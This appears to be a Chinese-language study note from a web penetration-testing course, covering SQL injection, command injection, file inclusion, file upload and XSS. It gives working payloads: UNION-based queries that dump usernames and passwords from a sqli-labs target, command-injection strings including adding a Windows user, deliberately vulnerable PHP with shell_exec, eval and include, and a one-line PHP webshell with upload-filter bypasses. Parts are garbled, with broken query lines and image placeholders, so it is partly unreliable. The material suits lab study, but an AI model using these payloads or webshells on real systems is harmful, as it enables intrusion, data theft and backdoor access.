SQL注入

简介

SQL注入就是指Web应用程序对用户输入数据的合理性没有进行判断,前端传入后端的参数是攻击者可控制的,并且根据参数带入数据库查询,攻击者可以通过构造不同的SQL语句来对数据库进行任意查询。下面以PHP语句为例作为展示:
q u e r y = “ S E L E C T ∗ F R O M u s e r s W H E R E i d = query=” SELECT*FROM users WHERE id=query=”SELECT∗FROMusersWHEREid=_GET [‘id’] “;
由于这里的参数ID可控,且带入数据库查询,所以非法用户可以任意拼接SQL语句进行攻击。
当然,SQL注入主要原因是程序员在开发用户和数据库的系统时没有对用户输入的字符串进行过滤、转义、限制或处理不严谨,导致攻击者可以通过精心构造的字符串去非法获取到数据库中的数据。

原理

SQL注入漏洞的产生需要满足以下两个条件:
(1)参数用户可控:前端传给后端的参数内容是用户可以控制的。
(2)参数带入数据库查询:传入的参数拼接到SQL语句,且带入参数库查询。``

数字型注入

当输入的参数为整形时,如果存在注入漏洞,可以认为是数字型注入。
测试步骤:
(1) 加单引号,URL:xxx.xxx.xxx/xxx.php?id=3’;
对应的sql:select from table where id=3’ 这时sql语句出错,程序无法正常从数据库中查询出数据,就会抛出异常;
(2) 加and 1=1 ,URL:xxx.xxx.xxx/xxx.php?id=3 and 1=1;
对应的sql:select
from table where id=3’ and 1=1 语句执行正常,与原始页面没有差异;
(3) 加and 1=2,URL:xxx.xxx.xxx/xxx.php?id=3 and 1=2;
对应的sql:select * from table where id=3 and 1=2 语句可以正常执行,但是无法查询出结果,所以返回数据与原始网页存在差异;
如果满足以上三点,则可以判断该URL存在数字型注入。

字符型注入

当输入的参数为字符串时,称为字符型。字符型和数字型最大的一个区别在于,数字型不需要单引号来闭合,而字符串一般需要通过单引号来闭合的。
例如数字型语句:select from table where id =3;
则字符型如下:select
from table where name=’admin’;
因此,在构造payload时通过闭合单引号可以成功执行语句。
测试步骤:
(1) 加单引号:select from table where name=’admin’’;
由于加单引号后变成三个单引号,则无法执行,程序会报错;
(2) 加 ’and 1=1 此时sql 语句为:select
from table where name=’admin’ and 1=1’ ,也无法进行注入,还需要通过注释符号将其绕过;
因此,构造语句为:select from table where name =’admin’ and 1=–’ 可成功执行返回结果正确;
(3) 加and 1=2— 此时sql语句为:select
from table where name=’admin’ and 1=2–’则会报错;
如果满足以上三点,可以判断该url为字符型注入。

演示

\ 转义字符(把后面的一个符号变成字符串)

估算目标数据库语法

select username,password from tablex where id=’ $id ‘ limit 0,1

让数据库报错的目的是为了判断闭合方式

select username,password from tablex where id=’ 2 \ ‘ limit 0,1
select username,password from tablex where id=’ 2 字符 ‘ limit 0,1

一共有几种闭合方式
‘ “ ) ‘) “) )) “)) ‘))
image.png
‘’3\’ LIMIT 0,1’
‘3\’ LIMIT 0,1 单引号闭合
image.png
已知了数据库的闭合方式为单引号闭合
select username,password from tablex where id=’ $id ‘ limit 0,1
不确定 username,password tablex

数据库注释符
—+
/ /
#
+相当于空格
再次确定是否是’闭合
原select username,password from tablex where id=’$id’ limit 0,1
select username,password from tablex where id=’ 2 ‘—+ ‘ limit 0,1
相当于 select username,password from tablex where id=’ 2 ‘
image.png

确定有多少栏目

order by [数字] —+ 二分法
原select username,password from tablex where id=’$id’ limit 0,1
select username,password from tablex where id=’2’ order by [数字] —+’ limit 0,1
image.png
image.png
发现order by 3正常,只有三列,即
select x1,x2,x3 from tablex where id=’ 2 ‘—+ ‘ limit 0,1

显示报错位

union 联合查询
image.png
http://sqlilabs.njhack.xyz/Less-1/?id=-2‘ union select 1,2,3 —+ ‘ limit 0.1
image.png
发现报错位为2,3号位

查看数据库的库名

id=-2’ union select 1,database(),3 —+
image.png
查看到库名为security

根据库名找到表名

库:information_schema
表:COLUMNS 列:TABLE_SCHEMA TABLE_NAME COLUMN_NAME
表:TABLES 列:TABLE_SCHEMA TABLE_NAME
id=-2’ union select 1,table_name,3 from information_schema.tables where table_schema=’security’ limit 0,1 —+
image.png
找到第一个表emails
第二个表referers
uagents users
image.png
如果觉得users表有价值,查看该表中的列
id=-2’ union select 1,column_name,3 from information_schema.COLUMNS where table_schema=’security’ and table_name=’users’ limit 0,1 —+
image.png
找到了id, username, password,列

提取数据

id=-2’ union select 1, group_concat(username), group_concat(password) from users —+
image.png

命令执行文件包含文件上传漏洞

命令执行

phpstudy
image.png
新建网站
image.png
image.png
C:\ProgramFiles64\phpstudy_pro\WWW\haha1.cAom
image.png

  1. <?php
  2. $result = shell_exec('ping www.baidu.com');
  3. echo $result;
  4. ?>

image.png

  1. <?php
  2. $ip = $_GET['ip'];
  3. $result = shell_exec('ping '.$ip);
  4. echo $result;
  5. ?>

image.pngimage.png
C:\Users\Administrator>ipconfig & dir
image.png
C:\Users\Administrator>ipconfig | dir
image.png
C:\Users\Administrator>ipconfig || dir
先运行左边命令,失败了再运行右边的
image.png
C:\Users\Administrator>ipconfig && dir
先运行左边命令,再运行右边的
image.png
image.png
C:\Users\Administrator>ipconfig ; dir Linux特有:执行左边的再去执行右边的

条件

php里面使用了命令执行函数:
shell_exec exec system popen proc_popen pcntl_exec passthru
| || & && ;过滤

127.0.0.1:8011/index.php?ip=127.0.0.1 && dir
image.png
127.0.0.1:8011/index.php?ip=127.0.0.1 && whoami 可能administrator
whoami 查看我是谁
ipconfig 查看IP地址 Linux:ifconfig
net user zj 123 /add 增加用户

eval

eval(字符串)
可以将传入的字符串当做php代码来执行

  1. <?php
  2. # $ip = $_GET['ip'];
  3. #$result = shell_exec('ping '.$ip);
  4. #echo $result;
  5. $ip = $_GET['str'];
  6. eval($ip);
  7. ?>

image.png
127.0.0.1:8011/index.php?str=system(‘whoami’);
image.png
mkdir rmdir

文件包含

具备内容:
php.ini
allow_url_include On允许远程文件包含
image.png
文件包含漏洞,可以将TXT文本文件(或其他东西)当做php代码执行
image.png
image.png
image.png
image.png

  1. <?php
  2. $pifu = $_GET['pifu'];
  3. include($pifu.'php');
  4. echo '<hr>';
  5. echo '我是主页的内容<br/>';
  6. ?>

文件上传

  1. <?php eval($_POST['haha']); ?>

127.0.0.1:8011/muma.php
POST:
haha = phpinfo();
haha =system(‘ipconfig’);
前端拦截 ——> 点掉JS
后端拦截 ——> 通过burpsuit抓包更改 Content-Type: image/jpeg

图片一句话木马:copy a.jpg/b + muma.php/a 2.jpg
图片一句话木马必须配合文件包含使用!!!!!

XSS

跨站攻击 前端页面漏洞
html js

kali安装beef-xss
Hook攻击代码

找到对方的前端代码,然后插入自己的JS攻击代码

一般测试代码

分类

反射型:
创造一个触发xss页面,然后让用户点击

who is cde, i don’t care!


who is 参数, i don’t care!


who is

, i don’t care!

攻防信息搜集基础

网络边缘信息
外网入口/出口

ip信息
c段 192.168.1.1 - 192.168.1.254

企业VPN
企业邮箱

手机APP
小程序

OA系统 有钱
SSO系统

边界网络设备 路由器,三层交换机

运营商


域名信息搜集

whois查询
whois.chinaz.com

sql注入分类
SQLmap